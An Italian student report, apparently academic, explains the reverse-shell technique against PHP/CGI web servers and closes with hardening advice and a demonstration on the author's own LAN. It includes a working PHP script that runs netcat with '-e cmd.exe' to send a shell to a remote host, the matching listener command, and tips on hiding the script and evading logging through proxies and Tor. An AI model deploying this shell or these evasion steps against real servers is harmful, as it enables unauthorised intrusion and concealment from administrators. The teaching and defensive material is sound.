30.05.2013 Views

Tecnica della Reverse Shell

Tecnica della Reverse Shell

Tecnica della Reverse Shell

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

<strong>Tecnica</strong> <strong>della</strong> <strong>Reverse</strong> <strong>Shell</strong><br />

Riccardo V. Vincelli 709588<br />

r.vincelli@campus.unimib.it<br />

L' obiettivo <strong>della</strong> relazione e' illustrare come<br />

sia possibile, a patto di alcune assunzioni in<br />

termini di sicurezza non troppo restrittive,<br />

avere possibilita' d' esecuzione su un<br />

webserver tramite la tecnica <strong>della</strong> shell<br />

inversa.<br />

La trattazione vuole essere anche<br />

abbastanza pratica e rispecchia perlopiu'<br />

fedelmente esperienze avute dall' autore.<br />

1. Terminologia<br />

Con il termine shell intendiamo<br />

principalmente la seguente cosa: la<br />

possibilita' di potere utilizzare un interprete<br />

dei comandi testuale del sistema attaccato (il<br />

programma comunemente detto shell<br />

appunto), e quindi essere in grado di<br />

eseguire comandi sulla stessa macchina


compromessa.<br />

L' effettivo file eseguibile che l' attaccante<br />

sceglie di utilizzare, dovrebbe essere uno sul<br />

quale egli ha dimestichezza: mentre questo<br />

discorso non ha troppo senso ad esempio<br />

sui sistemi Windows, dove l' interprete dei<br />

comandi e' fondamentalmente uno, il file<br />

cmd.exe o command.com su sistemi datati,<br />

sui sistemi Unix si hanno in genere vari<br />

interpreti a disposizione e quindi la scelta<br />

non e' indifferente, anche rispetto alle tracce<br />

che l' attaccante stesso lascia: ad esempio la<br />

bash (Bourne-Again SHell, evoluzione <strong>della</strong><br />

Bourne SHell) offre di default una<br />

funzionalita' di cronologia dei comandi digitati<br />

(salvati nel file .bash_history, visualizzabili<br />

tramite il comando history e richiamabili<br />

tramite !n, dove n e' il numero del comando<br />

cosi' come appare nell' output di history) e<br />

quindi, una volta disconnessi, un<br />

amministratore di sistema puo' andare a<br />

vedere, in teoria, scoperta la<br />

compromissione, i comandi digitati che,<br />

potenzialmente, possono anche tradire l'<br />

attaccante; riprenderemo questo discorso


piu' avanti.<br />

Una shell si puo' ottenere in molti modi, la<br />

tecnica in esame non e' certamente la prima<br />

ad essere stata pensata ne' sicuramente la<br />

migliore.<br />

La shell piu' ambita e', ovviamente, quella di<br />

root/administrator, identificabile nella<br />

stragrande maggioranza dei sistemi *nix dal<br />

simbolo '#', ma non e' il nostro caso, almeno<br />

nella tecnica <strong>della</strong> reverse shell cosi' com'e':<br />

sarebbe potenzialmente possibile se, per<br />

assurdo, il webserver fosse eseguito da root.<br />

Con il verbo bucare intendiamo l' avere<br />

accesso esecutivo effettivo ad un sistema,ad<br />

esempio proprio avendo la possibilita' di una<br />

shell.<br />

Il termine puo' assumere significati affini, ma<br />

raggiungere il "buco" puo' anche non<br />

significare un qualcosa di troppo<br />

straordinario: se infatti si riesce ad avere<br />

possibilita' di esecuzione su una macchina<br />

non troppo performante, ad esempio, una


che risulta essere spesso<br />

irraggiungibile/sconnessa o con impedimenti<br />

formali elevati, per esempio si hanno i<br />

privilegi di un utente di comodo che non puo'<br />

molto (vedi sotto), l' avere bucato un sistema<br />

non e' cosa troppo gratificante per un<br />

attaccante.<br />

La parola bot (diminutivo di robot) intende un<br />

programma automatico che, una volta<br />

eseguito, non necessita stretta supervisione,<br />

cioe' non necessita' di input utente, e fa un<br />

qualcosa che l' attaccante reputa utile.<br />

Possiamo avere molti tipi di bot: per<br />

esempio, nel mondo di IRC (Internet Relay<br />

Chat), in alcune situazioni dei programmi bot<br />

sono utilizzati per mantenere il possesso di<br />

una stanza di discussione, o ancora nei<br />

giochi online modello client-server i bot<br />

fungono da giocatori automatici o supervisori<br />

<strong>della</strong> regolarita' del gioco stesso per evitare<br />

che gli utenti usino trucchi e similia.<br />

Un uso comune che si fa di una shell e'<br />

proprio quello di installare, ed eseguire,


programmi del tipo. Cio' si lega<br />

principalmente a due aspetti:<br />

-il bot ha necessita' di essere sempre<br />

connesso<br />

-esistono provider che offrono possibilita' di<br />

avere processi sempre in esecuzione e<br />

sempre connessi, ma al giorno d' oggi quasi<br />

nessuno di questi offre tale servizio<br />

gratuitamente.<br />

Quindi se il buco da' esito che si rivela<br />

positivo, cioe' se l' attaccante si accorge di<br />

avere in controllo una macchina<br />

soddisfacente, una possibilita' e' certo quella,<br />

se ne ha necessita', di installare suddetti bot.<br />

Vantaggi in questo senso possono essere:<br />

-l' amministratore non si accorge <strong>della</strong><br />

compromissione se non andando a dare un<br />

occhiata ai processi in esecuzione (in *nix,<br />

comando ps), o alle connessioni attive<br />

(comandi netstat oppure sockstat) poiche' il<br />

programma determina utilizzo di risorse<br />

limitato ed e' silenzioso.<br />

-l' attaccante risparmia qualche soldo poiche'<br />

ottiene quello che dovrebbe pagare (anche<br />

se non troppo, la media e' quella di 2.5$ a


processo in background e connesso, per la<br />

durata di un mese) rivolgendosi a provider in<br />

modo legale.<br />

Le possibilita' di scenari bot-related sono<br />

molte, e possono spingersi anche ad ipotesi<br />

piu' marcatamente illegali anche se (forse?)<br />

piu' rare (drone-botnet, sniffing ecc...)<br />

2. Assunzioni/prerequisiti<br />

Quello che dobbiamo avere e' possibilita' di<br />

scrittura su una macchina che permetta di<br />

eseguire da remoto degli script di un<br />

linguaggio interpretato: nella pratica mi<br />

rifaccio all' avere un account ftp su un<br />

webserver che monti perl o php nel contesto<br />

piu' ampio dello standard CGI (Common<br />

Gateway Interface, un modo W3C-compliant<br />

di gestire contenuti dinamici per siti web); il<br />

sistema operativo dev' essere Windows o<br />

Linux/*BSD (con buona approssimazione<br />

anche altri sistemi unix non troppo desueti<br />

possono andare).


Inutile dire che la possibilita' di scrittura puo'<br />

essere legittima (nostro caso) o illegittima,<br />

requisito minimo e' solo mettere gli script in<br />

un luogo dove possano essere raggiunti ed<br />

eseguiti dal webserver o meglio dall'<br />

interprete (ad esempio mod_perl per il server<br />

Apache).<br />

Questo scenario, a pensarci bene, non e'<br />

nulla di raro: provider come Aruba forniscono<br />

per pochi euro un servizio di questo tipo su<br />

base annuale ed al giorno d' oggi la<br />

stragrande maggioranza dei siti internet di<br />

privati e piccole-medie imprese sono operati<br />

in questo od altri molto affini modi (non sto<br />

citando nessuna fonte ma e' un fatto<br />

abbastanza immediato a chi abbia un minimo<br />

di dimestichezza nel campo).<br />

Un altro prerequisito, banale, e' quello di<br />

avere un web browser funzionante: per<br />

fortuna per quel che ci interessa, non ci<br />

serve altro che digitare un url ed attenderne l'<br />

esecuzione (tanto per intenderci, anche un<br />

browser come Lynx va piu' che bene, ma<br />

assumiamo InternetExplorer).


Altri strumenti che ci servono sono un netcat<br />

ed uno script per eseguire la shell<br />

remotamente, ed un programma per<br />

ricevere, localmente, la shell inviata da<br />

remoto (a tal proposito utilizzo ancora<br />

netcat).<br />

Lo script scritto da me e' molto semplice, e<br />

netcat e' un' utility free.<br />

3. L' attacco<br />

Lo schema dell' attacco e' abbastanza<br />

semplice, ma potente:<br />

1. Modificare lo script: la coppia<br />

indirizzo:porta cui mandarla.<br />

Attenzione se decidiamo di mandarla ad un<br />

indirizzo riconducibile a noi! (es. il pc di<br />

casa, molto riconducibile a noi direi)<br />

2.Caricarlo (una cartella dove siamo sicuri<br />

sia raggiungibile e' quella dove si trova<br />

anche l' index o simili corrente)<br />

3.Caricare netcat nello stesso luogo (netcat


emoto)<br />

4.Mettere in ascolto il netcat locale sulla<br />

coppia indirizzo:porta scritti nello script<br />

5. Eseguire lo script tramite url<br />

Attenzione se decidiamo di mandare la<br />

richiesta da un indirizzo riconducibile a<br />

noi! (es. non utilizzando proxy; ricordiamo<br />

poi che browser come IE lasciano una<br />

caterva di informazioni aggiuntive!)<br />

6. Connettersi a dove abbiamo mandato la<br />

shell.<br />

Le istruzioni le ho riscritte in inglese nello<br />

script stesso.<br />

4. Esame dei passi<br />

4.1. Script<br />

Lo script fornito e' stato scritto pensando di<br />

attaccare un server Windows, dove la<br />

particolare scomodita' e' la presenza di un<br />

interprete di default non avanzato che non<br />

permette d' essere usato interattivamente da<br />

remoto: questo ci costringe ad appoggiarci a<br />

netcat anche per il lato server.


Ho conosciuto questa tecnica circa quattro<br />

anni fa, presi dal sito<br />

http://www.pentestmonkey.org degli script sia<br />

in perl sia in php che fanno la stessa cosa<br />

ma in modo piu' avanzato ed anche<br />

sicuramente piu' fine: in particolare non ci si<br />

appoggia a netcat per l' interattivita' ma all'<br />

opzione -i delle shell redirigendo gli standard<br />

input, output ed error su una socket tcp.<br />

Ai tempi, per avere un' idea statistica di<br />

massima, 4 su 5 server risultavano proni.<br />

Riprovando oggi, la situazione e' inversa,<br />

infatti l' idea di hardening rispetto alla<br />

sicurezza degli script web e' cosa comune.<br />

Codice:<br />


http://joncraton.org/media/files/nc111nt<br />

.zip<br />

//-on the attacking host (your box or<br />

one you control, whose ip is say<br />

1.3.3.7)<br />

// put netcat in listening mode on a<br />

free port: nc -l -p 12345<br />

// On Windows I noticed that binding to<br />

a particular address is not working<br />

// properly, so the command I suggest is<br />

always fine.<br />

//-upload the script:<br />

// --you must upload it in a directory<br />

url-reachable (ie from a browser)<br />

// --it's necessary it supports script<br />

execution too (ie cgi-bin)<br />

//-upload netcat<br />

//-execute the script (ie<br />

http://example.com/cgiscript/script.php)<br />

//-on the console you issued the<br />

listening command,<br />

// you should receive the desired shell.<br />

//<br />

//This script is lame and is intended<br />

for spawning against a win box.<br />

//If you want finer examples ncindependent<br />

for the server side and<br />

//unix-targeting check out<br />

http://pentestmonkey.net/tools/phpreverse-shell/<br />

//


Bugs:<br />

//The "manual" is way longer than the<br />

code itself<br />

//<br />

//Author:<br />

//RVV - r.vincelli@campus.unimib.it<br />

$shell = 'nc.exe -v -n 192.168.1.4 12345<br />

-e cmd.exe';<br />

exec($shell);<br />

?><br />

Vedi "Esempio" per una dimostrazione dell'<br />

attacco.<br />

4.2. Caricamento<br />

L' assunzione piu' comoda e' avere un<br />

account ftp o similia per uppare lo script in<br />

una directory raggiungibile dal webserver;<br />

ovviamente in generale e' quest' ultimo punto<br />

che ci interessa, non tanto come ci arriviamo<br />

(ftp o altro).<br />

Lo script e' un file php, testo quindi, e va<br />

inviato in modalita' ascii pertanto. Non e'<br />

generalmente necessario modificarne i<br />

permessi, ma e' auspicabile modificarne il<br />

nome in qualcosa che, se proprio non


inganni, quando lo legga, l' amministratore,<br />

almeno non gli sia lampante quando ci mette<br />

sopra gli occhi.<br />

Torneremo sotto sui "tempi di sopravvivenza"<br />

stimati di questo tipo di attacco.<br />

4.3-4.4. Netcat<br />

Netcat (nc) e' un' utility unix portata anche a<br />

Windows soprannominata "coltellino svizzero<br />

di Internet", ed a buon diritto: puo' essere<br />

utilizzato in modo arbitrario come peer di una<br />

connessione tcp o udp, permettendo cose<br />

come modello client/server, trasferimento di<br />

dati, client raw e molte altre. Nel nostro caso<br />

ci limitiamo al comando per metterlo in<br />

ascolto:<br />

nc -l -p PORTA<br />

dove PORTA dev' essere ovviamente quella<br />

messa nello script.<br />

In un sistema Windows la porta in uso non<br />

dev' essere bloccata da firewall, in unix oltre<br />

a questo dobbiamo utilizzare, se non root (e<br />

veramente non ha senso che si sia loggati<br />

root in una situazione del genere, e piu' in<br />

generale ora non ha piu' senso essere<br />

loggati come root, esistendo utility come


sudo) una porta piu' alta di 1024.<br />

4.5. Esecuzione<br />

L' esecuzione si riduce al digitare l'<br />

opportuno url nel nostro browser di fiducia.<br />

Come gia' notato quest' azione, assieme all'<br />

utilizzo <strong>della</strong> shell ma anche maggiormente<br />

rispetto questa, e' una con la quale riveliamo<br />

un sacco di informazioni al webserver; non<br />

volendo entrare nel merito di browser<br />

particolari come detto sopra, la quantita' di<br />

informazioni rilasciata puo' essere valutata<br />

ad esempio all' indirizzo<br />

http://mybrowserinfo.com/detail.asp ;<br />

ricordando che tutti i webserver hanno una<br />

minima logging capability abilitata di default,<br />

e' un punto su cui proprio non possiamo<br />

transigere.<br />

Come noto, e' possibile utilizzare un proxy<br />

per "nascondere" l' indirizzo del browser, ma<br />

questa via non e' dopotutto il massimo<br />

perche':<br />

-non tutti i tipi di proxy sono anonimi (nel<br />

senso che inoltrano si' la connessione da<br />

parte nostra, ma comunicano la nostra<br />

identita' al webserver o mantengono log dei


client che servono)<br />

-di default, la funzionalita' di proxy dei<br />

browser permette di utilizzarne uno solo alla<br />

volta<br />

-i proxy sono difficili da trovare: quelli che<br />

veramente si rivelano funzionanti sono<br />

solitamente pochi ed in posti esotici (e con<br />

funzionanti intendiamo anche stabili, cioe'<br />

presenti in rete almeno per 24 ore senza<br />

troppa discontinuita'), nonche' subissati di<br />

richieste (specie se appaiono in cima a varie<br />

liste pubbliche come<br />

http://www.samair.ru/proxy ); molti non sono<br />

altro che computer (spesso pc domestici)<br />

compromessi e suoi quali e' installata dal<br />

trojan/bot di turno una funzionalita' proxy, o<br />

tali in virtu' di misconfigurazioni/difetti di<br />

software applicativo (o una combinazione dei<br />

fattori: noto e' il binomio Sobig worm-<br />

Wingate v5)<br />

Un' alternativa sono fornitori di proxy/socks a<br />

pagamento (ma non ha troppo senso!).<br />

Un passo successivo in termini di ricerca d'<br />

anonimato puo' essere l' onion routing<br />

( http://www.torproject.org/index.html.it ).<br />

Ovviamente modi piu' sofisticati, avendo a


disposizione macchine esterne cui non<br />

siamo riconducibili (e che reputiamo<br />

sufficientemente insicure o "distratte" in<br />

termini di logging), sono sempre possibili:<br />

una molto in voga qualche anno fa (o meglio<br />

piu' di qualche anno fa) e' l' utilizzo di un<br />

datapipe, ossia di un piccolo programmino, in<br />

c o in perl solitamente, da eseguire sulla<br />

macchina intermediaria con principalmente<br />

tre argomenti: una porta locale su cui<br />

ascoltare in tcp, una porta ed host remoto cui<br />

mandare i dati ricevuti (una versione anche<br />

interattiva si puo' trovare a<br />

http://packetstormsecurity.org/groups/s0ftpj/p<br />

ippa_v2.txt ).<br />

4.6. Connettiamoci!<br />

Il passo finale non e' altro che connetterci<br />

dove abbiamo mandato la shell; se e' una<br />

prova o se ci fidiamo ci connetteremo a noi<br />

stessi. Pur essendo possibile riutilizzare<br />

netcat, e' molto piu' comodo il noto telnet:<br />

telnet e' un protocollo con i quali molti<br />

smanettoni hanno sicuramente confidenza,<br />

se non altro per azioni lamer ma sicuramente<br />

didattiche come provare a mandarci una mail


anonima o connettercisi ad IRC.<br />

5. Concretizzazione dell' attacco<br />

Una volta dentro, dobbiamo decidere che<br />

fare; in qualsiasi caso, ci deve guidare il<br />

buonsenso.<br />

Anzitutto, avremo poteri limitati: la shell avra'<br />

i privilegi dell' utente che ha eseguito il<br />

demone http: in unix e' solitamente un utente<br />

di comodo (httpd, www, nobody ecc...), in<br />

Windows ci possiamo aspettare un utente<br />

non di default ma “sicuramente” non di livello<br />

amministrativo.<br />

Ricordiamo che oltre all' utilizzo di utenti di<br />

comodo, altre configurazioni di sicurezza<br />

adatte anche ad un ambiente DAC<br />

(discretionary access control) possono<br />

essere:<br />

-chrooting: un' applicazione e' "bloccata" in<br />

una sottodirectory, cioe' posta in un contesto<br />

dove ha tutti i file necessari al suo<br />

funzionamento sottoforma di hardlink ai file<br />

effettivi, e copie dei device in caso<br />

-jailing: sistema introdotto da FreeBSD che


prevede il partizionamento dell' os in vari<br />

sottosistemi virtuali indipendenti<br />

trasparentementemente all' utente.<br />

Notiamo che tutti queste possibilita' sono un<br />

qualcosa di nativo nei sistemi unix: per<br />

questo e per altri motivi (es. multiutenza e<br />

permessi stretti, paradigmi MAC-mandatory<br />

access control), sono da reputarsi piu' sicuri:<br />

semmai dubbi si possono avere circa la<br />

facilita' nel configurare l' ambiente adatto, e<br />

per sanare questo punto ci si puo' ad<br />

esempio aiutare con wizard grafici e con un<br />

approccio meno hardcore unix all' utilizzo dei<br />

file di configurazione (la strada presa da Mac<br />

OSX).<br />

Buonsenso e' anche rendersi conto che,<br />

comunque sia, danneggiare il sistema<br />

cancellando file su cui si hanno permessi e'<br />

deleterio: in prima battuta per una questione<br />

morale (stiamo buttando via lavoro altrui) in<br />

seconda per una pratica; un admin che si<br />

accorge di essere stato "battuto" ma non<br />

rileva danni, puo' pigramente prendere nota<br />

dell' accaduto e dimenticarsene (ecco magari<br />

non troppo pigramente, dovrebbe cercare di


capire come l' attaccante e' entrato!).<br />

Ma nel caso in cui abbia problemi di sorta, ad<br />

esempio un cliente del provider che possiede<br />

il webserver si ritrova lo spazio web<br />

interamente cancellato, inattivo per del<br />

tempo, e la colpa finisce sull' admin, puo'<br />

magari mettersi a spulciare, termine non<br />

correttissimo visto che esiste software che<br />

agevola il processo, i log di sistema e<br />

provare a non farla passare liscia all'<br />

attaccante.<br />

Posto che non facciamo nessuna azione che<br />

ci renda visibili (cancellazioni gratuite o<br />

anche defacciamenti dei siti), ci chiediamo<br />

ora come fare per rimanere piu' a lungo<br />

possibile invisibili (o nascosti bene) agli occhi<br />

dell' admin.<br />

La tecnica <strong>della</strong> reverse shell dovrebbe<br />

essere un punto di partenza e non di arrivo:<br />

non abbiamo in casi normali grossi privilegi e<br />

siamo dipendenti da uno script.<br />

Settarlo nascosto e "nasconderlo" in<br />

sottocartelle puo' aiutare, tutto dipende dalla<br />

frequenza con cui il sito internet e'


aggiornato ma soprattutto da come: se per<br />

assurdo il webmaster o chi per esso usano<br />

solo cms (content management systems) e<br />

non danno mai un occhio alla webroot per<br />

esempio via ftp, ci sono buone possibilita'<br />

per noi in questo senso, giusto per citare uno<br />

scenario.<br />

Se la vediamo appunto come partenza, il<br />

passo successivo e' ottenere quel che<br />

vogliamo dal sistema nel miglior modo<br />

possibile; e con cio' comprendiamo un range<br />

di possibilita' vasto, su cui soffermarsi<br />

sarebbe troppo lungo: nascondiamo in /tmp<br />

(dove sicuramente abbiamo accesso in<br />

scrittura) il bot che vogliamo eseguire, o<br />

iniziamo a cercare in rete un exploit locale<br />

per ottenere la root?<br />

In questa fase generalmente non possiamo<br />

prescindere dal sistema in uso, in un livello di<br />

dettaglio anche abbastanza alto: ad esempio<br />

se siamo su una linux box a kernel x.y.z.-tu,<br />

dobbiamo cercare un qualcosa<br />

appositamente per quel kernel.<br />

E' quasi impossibile trovare exploit potenti<br />

locali che sfruttino componenti native del


sistema come kernel, librerie famose ecc;<br />

paga molto di piu' cercare di isolare la<br />

presenza di software applicativi particolari sul<br />

sistema, ad esempio associati a servizi, e<br />

cercare attacchi per questi. Meglio ancora se<br />

proprietari o di vendor non famosissimi: in<br />

questi casi il codice quasi sicuramente<br />

chiuso facilita un eventuale successo.<br />

Certo, se l' attaccante e' veramente di alto<br />

livello, puo' contare sugli zeroday: ma questo<br />

e' un altro discorso.<br />

6. Cure e prevenzioni<br />

Come d' obbligo, bisogna anche mettersi nei<br />

panni dell' admin: poniamo che si accorga<br />

<strong>della</strong> compromissione del sistema, cosa<br />

dovrebbe fare?<br />

La risposta e' valida in senso generale e<br />

possiamo astrarla dall' attacco particolare<br />

<strong>della</strong> reverse shell:<br />

-cercare file e processi sospetti e cancellarli,<br />

terminarli<br />

-esaminare i log di sistema ed applicativi<br />

-isolare le componenti che potrebbero<br />

nascondere la falla


-documentarsi circa vulnerabilita' note su<br />

queste (CVE, BugTraq, siti vendor ecc)<br />

-confrontarsi con altri colleghi<br />

-arrivare ad una soluzione<br />

E' curioso come molte volte siano gli<br />

attaccanti stessi a tendere una mano agli<br />

amministratori di sistema suggerendo la<br />

vulnerabilita' da essi sfruttata o addirittura<br />

fornendo una patch.<br />

Per le prevenzioni invece possiamo portarci<br />

piu' nello specifico proprio rispetto alla<br />

reverse shell; queste sono solo alcune delle<br />

possibili vie.<br />

6.1. Disabilitare gli interpreti in<br />

questione/rinunciare alla common gateway<br />

interface: se non c'e' modo di interpretare gli<br />

script, essi ovviamente sono innocui; e' una<br />

soluzione drastica che puo' non essere<br />

accettabile se la tecnologia cgi e' parte<br />

integrante dell' uso comune del nostro<br />

webserver. Come abbiamo spesso riflettuto<br />

in aula, una risposta del tipo e' una risposta<br />

efficace ma e' un po' un' ultima spiaggia. Un'<br />

altra soluzione molto piu' logica puo'


essere...<br />

6.2....configurare opportunamente quel che<br />

si puo' fare e non, in termini di script! Mi<br />

rifaccio ad una situazione cgi su Apache:<br />

Apache e' infatti il webserver piu' comune e<br />

tra i piu' sicuri; analoghe prevenzioni si<br />

possono avere sull' IIS di Microsoft, che sta<br />

cercando di colmare il gap ma non puo' certo<br />

contare su una community come quella di<br />

Apache.<br />

Abbiamo:<br />

httpd.conf/.htaccess<br />

httpd.conf e' il file di configurazione<br />

principale di Apache, l' abilitazione ed il<br />

settaggio del cgi passano da qui.<br />

Possiamo permettere l' esecuzione di script<br />

cgi (in un qualsiasi linguaggio adatto) in vari<br />

modi:<br />

-direttiva ScriptAlias: le directory che la<br />

seguono sono indicate al server come le<br />

uniche che in un url possono prevedere l'<br />

interpretazione di uno script; se ad esempio<br />

ho:<br />

...


ScriptAlias /cgibin/<br />

...<br />

l' url<br />

http://www.example.com/cgi-bin/test.pl<br />

non determina una richiesta a buon fine dato<br />

che la cartella non e' tra quelle indicate.<br />

-direttiva Options:<br />

...<br />

<br />

Options +ExecCGI<br />

<br />

...<br />

che pero' richiede anche di specificare le<br />

estensioni d' interesse (differentemente dal<br />

modo con ScriptAlias che intende tutti i file<br />

nelle directory specificate come potenziali<br />

script):<br />

...<br />

AddHandler cgi-script .cgi .pl<br />

...<br />

Con queste indicazioni, evitando di lasciare<br />

agli utenti cartelle abilitate agli script dove ne<br />

possano mettere di loro, si raggiunge un<br />

buon livello di sicurezza.<br />

In caso in cui si voglia portare questo cgi


hardening ma non si abbia accesso al<br />

httpd.conf, si possono utilizzare, nei limiti<br />

definiti nel httpd.conf stesso, i file .htaccess,<br />

che non sono altro che override di quest'<br />

ultimo cui effetto e' sulla cartella in cui si<br />

trovano e tutte le sottocartelle (ad esempio<br />

ha senso metterne uno nella webroot).<br />

6.3. Controllare i file caricati<br />

E' possibile pensare ad un processo che<br />

verifichi direttamente il contenuto dei file nell'<br />

albero directory ed agisca di conseguenza:<br />

se in una cartella mi aspetto solo immagini,<br />

elimino i file che non lo sono; se in un' altra<br />

mi aspetto solo codice html, non mi basta<br />

verificare l' estensione, ma vado alla ricerca<br />

di pattern (es. #!/usr/bin/perl) in base a cui<br />

elimino file dannosi; e' possibile anche<br />

pensare ad un report program.<br />

Un semplice script del potente ambiente<br />

shell puo' essere:<br />

#!/bin/sh<br />

while true;<br />

do<br />

for file in *<br />

do<br />

a=$(file $file)


=$file": PHP script text"<br />

c=$file": perl script text executable"<br />

if test "$a" = "$b"<br />

then rm -f $file<br />

elif test "$a" = "$c"<br />

then rm -f $file<br />

fi;<br />

done<br />

done<br />

dove in pratica, per ogni file nella directory<br />

dove lo script e' eseguito, se ne verifica il tipo<br />

tramite l' utility file, e se e' di tipo php o perl,<br />

lo si elimina; lo script e' semplice anche se<br />

ha come punti delicati l' assegnamento dell'<br />

output di un comando ad una variabile<br />

(costrutto $(command)) e la concatenazione<br />

di due stringhe (variabili $b e $c); attenzione<br />

anche al quoting (utilizzando '' al posto di ""<br />

abbiamo errore perche' le variabili non sono<br />

valutate).<br />

Lo script e' da posizionare nelle directory<br />

sensibili; ovviamente si possono avere script<br />

piu' complessi ad esempio che prendono l'<br />

input delle estensioni trigger da un file e<br />

controllano una lista di directory prefissata,<br />

ecc. E' preferibile eseguirlo in background<br />

(posponendo la &) e regolarne l' esecuzione<br />

in startup (ad esempio via cron).


Non dimentichiamo che uno script del genere<br />

puo' essere utilizzato anche su ambiente<br />

Windows: essendo il batch scripting piu'<br />

debole, si puo' talvolta pensare all' uso di<br />

ambienti d' emulazione ad-hoc come<br />

Cygwin.<br />

6.4. Rinominare i file<br />

Questo metodo e' abbastanza debole se<br />

adottato in un sistema in cui l' utente<br />

attaccante ha accesso di lettura e scrittura<br />

pieno, ma buono se percaso l' utente puo'<br />

solo fare upload senza avere la possibilita' di<br />

vedere il contenuto <strong>della</strong> cartella dove carica<br />

file; cambiando il nome dei file (es. attraverso<br />

hashing), l' attaccante non sara' piu' in grado<br />

di formulare un trigger url valido; non si<br />

applica al nostro scenario dove abbiamo<br />

assunto possibilita' ftp equivalenti.<br />

7. Conclusioni<br />

L' attacco <strong>della</strong> shell inversa ha sicuramente<br />

una sua importanza didattica, poiche'<br />

tocchiamo vari argomenti: dall' ambiente di<br />

shell ai linguaggi di scripting.


In termini di efficacia effettiva non e' forse<br />

esaltante: anche quando si riesca a caricare<br />

con successo, ed a fare in modo che non<br />

venga cancellato, nei limiti del possibile, lo<br />

script, le incognite sono rappresentate dal<br />

poter eseguire l' interprete dei comandi, ed il<br />

doversi fermare, almeno in prima battuta, a<br />

privilegi bassi.<br />

Piu' in generale sfruttare l' "aiuto" degli<br />

linguaggi interpretati e' una modalita' d'<br />

attacco applicata anche sotto altri nomi, e<br />

citiamo tra gli altri:<br />

SQL injection: l' attacco consiste nel<br />

presentare in una query sql dati arbitrari<br />

opportunamente scritti. Scenario tipico e'<br />

quello di un file html contenente il form ed un<br />

file in un linguaggio interpretato (es. php)<br />

incaricato di interfacciarsi col dbms per<br />

inoltrare effettivamente l' interrogazione. In<br />

caso di controlli deboli dal lato server, sono<br />

possibili situazioni di autenticazione senza<br />

credenziali ma sullo stesso paradigma e'<br />

possibile pensare anche ad arrivare alla shell


se il dbms espone comandi opportuni (es.<br />

"esegui comando locale").<br />

La reverse shell e' attacco in linea generale<br />

aperto se non ai lamer nella gerarchia degli<br />

smanettoni, almeno ai kiddie: infatti le<br />

conoscenze da avere sono veramente poche<br />

ed il ritocco del codice banale (parametri<br />

host e porta): script del tipo e' suggerito<br />

modificarli leggermente (es. cancellazione d'<br />

una parentesi) per scoraggiare proprio gli<br />

utenti infimi prima di rilasciarli in the wild,<br />

anche se solo come proof of concept, che in<br />

fin dei conti non e' altro che termine<br />

eufemismo per exploit.<br />

8. Esempio<br />

Provo ad instaurare l' attacco da macchina<br />

Windows ad un' altra ancora Windows,<br />

premettendo che sono entrambe mie,<br />

collegate in lan in modo diretto.<br />

L' ambiente web e' rappresentato, per quel<br />

che c' interessa, dal server web Apache con


mod_php abilitato; in particolare per fare piu'<br />

in fretta con la configurazione, ed anche<br />

perche' e' solo un esempio, ho optato per<br />

binari preconfigurati e precompilati con<br />

IndigoAMPP <strong>della</strong> software house IndigoStar.<br />

Inutile dire che scelte del tipo sono<br />

fondamentalmente sbagliate nel caso dell'<br />

allestimento di un server vero e proprio. La<br />

documentazione ufficiale Apache poi e'<br />

esauriente circa l' installazione del webserver<br />

in ambiente Windows, anche se l' ambiente<br />

di riferimento naturale e' certamente uno di<br />

stampo unix.<br />

La webroot; evidenziati i file d' attacco nc e<br />

script:


In ascolto sulla macchina attaccante:


Esecuzione dello script:


La shell e' arrivata! Notiamo che l' ultimo<br />

comando e' un comando dal basso<br />

buonsenso!


9. Webografia/link utili<br />

http://{en,it}.wikipedia.org<br />

http://www.pentestmonkey.org<br />

http://joncraton.org/files/nc111nt.zip<br />

http://www.indigostar.com

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!